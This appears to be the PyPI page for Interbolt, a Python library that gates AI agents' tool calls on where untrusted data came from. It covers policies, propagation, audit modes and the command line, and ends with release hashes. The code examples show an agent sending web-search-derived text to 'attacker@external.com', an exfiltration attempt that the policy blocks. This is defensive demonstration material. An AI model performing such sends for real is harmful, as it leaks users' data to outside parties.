Interbolt
Provenance-gated tool calls for AI agents.
Status: pre-1.0. The public API can change in any
0.xminor release. Pin an exact version if you depend on it. Breaking changes bump the minor (0.2.0); additive changes and fixes bump the patch (0.2.1). The emitted record schema is versioned separately viaEVENT_SCHEMA_VERSIONand has its own history. See stability for what has to be true before 1.0.
Mark untrusted data where it enters an agent. Interbolt propagates that mark
through your code and evaluates a YAML+CEL policy at each guarded tool call,
returning allow, block, or require-approval based on the provenance of the
call's arguments rather than on their content. Decisions are deterministic and
in-process, with no model and no network call involved. The
benchmark publishes
check() overhead and the machine it was measured on.
When code has actually validated untrusted data, endorse() lets it say so
without erasing the taint: provenance-preserving, policy-visible, and never
model-triggered. See
auditing.
See how it performs on the AgentDojo Benchmark.
Install
pip install interbolt
Requires Python 3.12 or newer. The [otel] extra adds OTelReporter.
Quick start
import asyncio
from interbolt import Policy, PolicyViolation, Tainted, configure, guard, taint
runtime = configure(policy=Policy.from_file("policy.yaml"))
@guard
def send_email(to: str, body: str) -> None:
...
# taint() on a str returns a Tainted, which is a str subclass, so it is
# accepted anywhere a str is expected with no change to send_email's signature.
summary: Tainted = taint(web_search("..."), source="web_search")
async def main() -> None:
# agent_context binds the acting agent's identity for guarded calls
# made inside the block.
async with runtime.agent_context("support-agent"):
try:
send_email(to="attacker@external.com", body=summary)
except PolicyViolation as e:
print(e.decision.matched_rule) # "block_untrusted_exfil"
asyncio.run(main())
Generate a starter policy with interbolt init, then check it in CI with
interbolt validate policy.yaml. Calling configure() without a policy uses a
built-in default-deny posture (no sources, no sinks, every call requires
approval) and logs a warning pointing to interbolt init.
Getting the decision
check() and guard always compute a Decision. On allow it is the return
value of check(); on block and require_approval it is attached to the
raised exception:
from interbolt import ApprovalDenied, PolicyEvaluationError, PolicyViolation
try:
send_email(to="attacker@external.com", body=summary)
except (PolicyViolation, ApprovalDenied, PolicyEvaluationError) as e:
decision = e.decision # every decision-outcome error carries one
decision.action # Action.BLOCK
decision.matched_rule # rule name, or None for the sink default
decision.matched_condition # the rule's CEL text, or None
decision.untrusted_sources # frozenset({"web_search"})
describe_decision(decision) returns a ready-made one-line summary as a
rich-markup string, meant to be printed through a rich.console.Console.
Calling check() directly rather than through @guard returns the Decision
for every outcome including allow, so you can log it unconditionally instead of
only on the exception path. Full reference:
API.
Propagation
Provenance is a set of source names attached to a value. Trust is resolved at the sink by looking each source up in your policy, so one file governs both ingress trust and egress gating.
The label survives direct passing of a value to a tool argument and
operator-style combination (+, %, slicing, and string methods called on a
tainted value). Common string assembly produces a fresh, unlabeled string:
f-strings with surrounding literal text, str.format on a plain template, and
" ".join(...) on a plain separator. Re-taint the result in those cases. The
same applies across a model-mediated agent-to-agent handoff, where one agent's
generated output reaches the next as plain text.
This is an inherent limit of an in-process string-subclass carrier, and the propagation contract states every case exactly. Run the audit to find a transformation that should have been re-tainted.
Provenance also does not survive an ordinary serialization or storage round
trip. A checkpoint write, a queue hop, or a process boundary makes re-entering
data fresh untrusted ingress. The one explicit exception is pack/unpack,
which carries labels and run-scoped provenance across that boundary in a
versioned, optionally MAC-authenticated envelope. See
serialization.
The model as a new source
A call into an LLM is exactly this kind of boundary: whatever the model emits
carries no label, even when its prompt was tainted.
taint(..., derived_from=...) marks a value as derived from other values, so
trust is inherited rather than assumed, and track_model_call applies that to a
function's return value automatically:
from interbolt import taint, track_model_call
@track_model_call(source="model")
def summarize(web_result: str, internal_result: str) -> str:
return llm_client.complete(f"Summarize: {web_result}\n{internal_result}")
summary = summarize(
taint(web_search("..."), source="web_search"), # untrusted
taint(read_kb("..."), source="internal_kb"), # trusted
)
summary.label.source # "model" - the derivation hop, for tracing
summary.label.lineage # ("web_search", "internal_kb") - the upstream sources
Passing summary to a guarded sink resolves trust from lineage exactly as if
the original inputs had reached that sink directly, so untrusted here. The
model's own text is never inspected or paraphrase-detected.
Modes and the audit
configure(mode=...) sets enforcement behavior:
enforce(default): fails closed. An evaluation error is treated as a block.monitor: fails open on evaluation error and logs it. Real blocks still block. An adoption on-ramp.dry_run: computes and emits every decision but blocks nothing.
configure(audit=True) turns on the laundering audit, an opt-in in-process
instrument orthogonal to the mode. It watches a real run and reports where
untrusted content reached a sink without a label, which is how you catch a
forgotten re-taint. It catches mechanical laundering and cannot catch a model
paraphrasing the text first. Findings come out through the reporter, so you can
assert on them in a test with InMemoryReporter. Running it takes that run
outside the per-call latency budget.
Reporting
Reporter is the seam for decision output. NullReporter (default),
InMemoryReporter, LoggingReporter, JsonlReporter, and CompositeReporter
ship out of the box, and describe_decision/describe_event/describe_finding/
describe_endorsement format a record for a human. pip install "interbolt[otel]" adds OTelReporter, which drops decisions into your existing
OpenTelemetry traces. Reporter emission is fire-and-forget: a reporter that
blocks in export delays the decision that triggered it. See
reporters.
Command line
interbolt init [path] # write a starter policy; refuses to overwrite
interbolt validate policy.yaml # schema and CEL checks only, safe for CI
interbolt explain policy.yaml --agent support-agent
interbolt inspect provenance.jsonl # render a JsonlReporter log as a tree
explain answers "what can this agent actually do" by resolving each sink's
rules against one agent, group, or tool, including which rules are unreachable.
See explain.
MCP
An interbolt[mcp] extra is planned to adapt an MCP client session directly.
Until it ships, gate an MCP router by calling check() before each tool
dispatch and taint()-ing tool results as they come back, which
MCP shows in full.
Design lineage
The architecture assembles proven patterns rather than inventing new
mechanisms: the pure check() entrypoint follows Casbin's
enforce(), the inert-by-default reporter surface follows
OpenTelemetry, the str/bytes carrier follows
Django's SafeString and MarkupSafe, and endorse() follows Resin (Yip et al.,
SOSP 2009). The full comparison, including where Interbolt diverges from each,
is in design lineage.
Stability
Interbolt is pre-1.0 and the API is still moving. What that means concretely:
- Any
0.xminor may rename, change, or remove public API. Migration notes for each one are in CHANGELOG.md. EVENT_SCHEMA_VERSIONversions the emittedEvent/Finding/Endorsementshape independently of the library version. Anything parsing aJsonlReporterlog should read it and fail loudly on an unrecognized value.- Before 1.0 the following need to hold: the public surface stable across two consecutive minors, the record schema stable, the MCP integration shipped, and a deprecation policy in force (one minor of warning before removal).
Documentation
The full documentation is at docs.deconvolutelabs.com, covering the threat model, policies, identity, testing, and the API reference. Read the threat model before adopting it: Interbolt is not a prompt-injection classifier, a content filter, or a sandbox, and that page lists exactly what it does and does not cover.
Contributors should start with ARCHITECTURE.md. To report a vulnerability, see SECURITY.md.
License
Apache-2.0. Built by Deconvolute Labs.
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file interbolt-0.3.0.tar.gz.
File metadata
- Download URL: interbolt-0.3.0.tar.gz
- Upload date:
- Size: 211.5 kB
- Tags: Source
- Uploaded using Trusted Publishing? Yes
- Uploaded via:
twine/7.0.0 CPython/3.13.14
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
3fa4731df73a6ca5af9e3d55c2beb054f70375d2f118e5ed61317c8ce18b3a2a
|
|
| MD5 |
29d7c6a5f301f5ea0e5ccff06a1d7dd2
|
|
| BLAKE2b-256 |
cd4cd22e152b847a2a5ab35e0d610c7606913aa9487aa978870c358bd2cd2a7f
|
Provenance
The following attestation bundles were made for interbolt-0.3.0.tar.gz:
Publisher:
release.yml on deconvolute-labs/interbolt
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
interbolt-0.3.0.tar.gz -
Subject digest:
3fa4731df73a6ca5af9e3d55c2beb054f70375d2f118e5ed61317c8ce18b3a2a - Sigstore transparency entry: 2346550333
- Sigstore integration time:
-
Permalink:
deconvolute-labs/interbolt@9933565fd661ee9ffaeb96f6b46da9b06709d21a -
Branch / Tag:
refs/heads/main - Owner: https://github.com/deconvolute-labs
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
release.yml@9933565fd661ee9ffaeb96f6b46da9b06709d21a -
Trigger Event:
workflow_dispatch
-
Statement type:
File details
Details for the file interbolt-0.3.0-py3-none-any.whl.
File metadata
- Download URL: interbolt-0.3.0-py3-none-any.whl
- Upload date:
- Size: 110.2 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? Yes
- Uploaded via:
twine/7.0.0 CPython/3.13.14
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
0c7215e484f04a09693822f39374f25dc98001804a04e97916a28a705ee934a3
|
|
| MD5 |
df1c5852ae0fbefc3732d6cbe5b3665a
|
|
| BLAKE2b-256 |
bd4549cc60ef407409c8c14fe3306c5092b55c35d869714849b0ad536cff08a3
|
Provenance
The following attestation bundles were made for interbolt-0.3.0-py3-none-any.whl:
Publisher:
release.yml on deconvolute-labs/interbolt
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
interbolt-0.3.0-py3-none-any.whl -
Subject digest:
0c7215e484f04a09693822f39374f25dc98001804a04e97916a28a705ee934a3 - Sigstore transparency entry: 2346550401
- Sigstore integration time:
-
Permalink:
deconvolute-labs/interbolt@9933565fd661ee9ffaeb96f6b46da9b06709d21a -
Branch / Tag:
refs/heads/main - Owner: https://github.com/deconvolute-labs
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
release.yml@9933565fd661ee9ffaeb96f6b46da9b06709d21a -
Trigger Event:
workflow_dispatch
-
Statement type: